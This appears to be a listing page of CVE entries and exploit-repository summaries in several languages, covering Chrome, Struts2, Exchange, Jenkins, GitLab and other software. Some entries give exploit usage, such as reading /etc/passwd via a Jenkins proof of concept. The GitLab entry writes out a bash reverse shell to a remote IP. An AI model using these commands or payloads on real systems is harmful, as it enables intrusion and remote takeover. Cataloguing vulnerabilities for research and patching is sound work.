CVE-2026-84333

Use after free in Dawn in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-84333

CVE-2026-84333 is a use-after-free vulnerability in Dawn , a graphics abstraction component of Google Chrome , affecting versions prior to 152.0.7977.75 on Android (and 152.0.7977.76 on Windows/Mac). A remote attacker can execute arbitrary code outside the sandbox by serving a crafted HTML page, ...

CVE-2026-84326

Uninitialized resource in V8 in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: High...

struts2-rce

Démo d'exploit pour CVE-2017-5638 Entièrement basé sur https://github.com/piesecurity/apache-struts2-CVE-2017-5638 Un scénario réaliste dans lequel un projet de référence pour un framework est déployé sur un conteneur, mais avec des conséquences terribles. Pour vous familiariser, examinez le code...

Shell-Shock

Shell Shock Авторы : [email protected] Сопровождающийие : Отдел : DevOps Лицензияи : Обзор Shell Shock : Эскалация привилегий, удалённое выполнение кода Семейство ошибок в оболочке Unix Bash. Позволяет выполнять произвольные команды. Векторы эксплуатации Полезные нагрузки shellshock user age...

weblogic2021

Ce projet est destiné uniquement à la recherche en sécurité et à une utilisation autorisée. Les utilisateurs ont la responsabilité et l'obligation de se conformer aux lois et réglementations locales. weblogic2021...

CVE-2025-1094-Exploit

CVE-2025-1094: SQL-инъекция до RCE через WebSocket 🚀 Этот репозиторий содержит доказательство концепции PoC эксплойта для CVE-2025-1094 , уязвимости в PostgreSQL, которая позволяет SQL-инъекции SQLi перерасти в удаленное выполнение кода RCE через захват WebSocket. Обзор Этот эксплойт использует...

CVE-2022-41082

CVE-2022-41082 Ce dépôt contient un outil de preuve de concept PoC pour exploiter la vulnérabilité OWASSRF CVE-2022-41082 sur les serveurs Microsoft Exchange. L'exploit permet aux attaquants d'exécuter des commandes arbitraires sur le serveur, ce qui peut compromettre le système. Vue d'ensemble...

Spring4Shell-CVE-2022-22965

Spring4Shell: CVE-2022-22965 RCE Vulnérabilité RCE du framework Java Spring Ces vulnérabilités affectent un composant "Spring Core" — le cœur du framework Conditions actuelles pour la vulnérabilité : JDK 9+ Une version vulnérable du Spring Framework 5.2 | 5.2.0-19 | 5.3.0-17 Apache Tomcat comme...

CVE-2024-25600

Exploit CVE-2024-25600 - Exécution de code à distance RCE sur WordPress Bricks Builder Un script d'exploitation pour CVE-2024-25600 , une vulnérabilité critique d'exécution de code à distance RCE non authentifiée dans le plugin Bricks Builder pour WordPress. Cet outil détecte la faille, extrait l...

CVE-2023-50164-POC

Ceci est une Preuve de Concept PoC pour CVE-2023-50164, qui décrit une nouvelle vulnérabilité de traversée de chemin pouvant conduire à une exécution de code à distance RCE dans struts-core. Pour remédier à ce problème, il est conseillé de mettre à jour vers Struts 2.5.33 ou Struts 6.3.0.2 ou...

CVE-2018-16370

CVE-2018-16370 Dans PESCMS Team 2.2.1, les attaquants peuvent télécharger et exécuter du code PHP arbitraire via /Public/?g=Team&m=Setting&a=upgrade en plaçant un fichier .php dans une archive ZIP.Plus de détails voir https://github.com/lazyphp/PESCMS-TEAM/issues/2...

CVE-2019-7238

CVE-2019-7238 RCE python3 CVE-2019-7238.py url...

CVE-2021-21978

CVE-2021-21978 Version avec retour d'affichage du script d'exploitation, plus simple 0. Informations sur la vulnérabilité L'interface d'administration Web de VMware View Planner comporte un point d'entrée pour le téléchargement de fichiers de fonctionnalités de logs, sans authentification et le...

CVE-2024-23897

CVE-2024-23897 Jenkins RCE Произвольное чтение файлов CVE-2024-23897 Использование: python poc.py http://127.0.0.1:8888/ /etc/passwd Обновление: Обновите до Jenkins 2.442, LTS 2.426.3 Исправление: Если вы не можете обновиться до последней версии, отключите доступ к CLI, это должно полностью...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQ와 OpenWire 개요 ActiveMQ는 JMS를 지원하는 클라이언트를 포함하는 브로커, 자바 뿐만 아니라 다양한 언어를 이용하는 시스템 간 의 통신을 할 수 있게해준다. 또한 클러스터링 기능 및 DB 그리고 FileSystem을 통해 각 시스템간의 일관성 및 지속성을 유지 시켜주는 오픈 소스 메세징 그리고 통합 패턴 서버 입니다. 가. OpenWire는 Apache ActiveMQ에서 사용되는 이진 메시징 프로토...

CVE-2021-21985_PoC

Détails de la vulnérabilité PLUG-IN DE VÉRIFICATION DE SANTÉ VIRTUAL SAN DE VMWARE VCENTER SERVER RCE CVE-2021-21985 Le client vSphere HTML5 contient une vulnérabilité d'exécution de code à distance dans un plugin vCenter Server. Un acteur malveillant disposant d'un accès réseau au port 443 peut...

CVE-2021-41773

CVE-2021-41773 Utilisation root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py Qu'est-ce que CVE-2021-41773 ? CVE-2021-41773 Vulnérabilité de traversée de répertoire dan...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-Exploit-POC Ce script de preuve de concept montre comment exploiter la vulnérabilité de corruption mémoire CVE-2024-4323 dans Fluent Bit, permettant l'exécution de code à distance. CVE-2024-4323 est une vulnérabilité de corruption mémoire affectant Fluent Bit versions 2.0.7 à 3.0.3...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...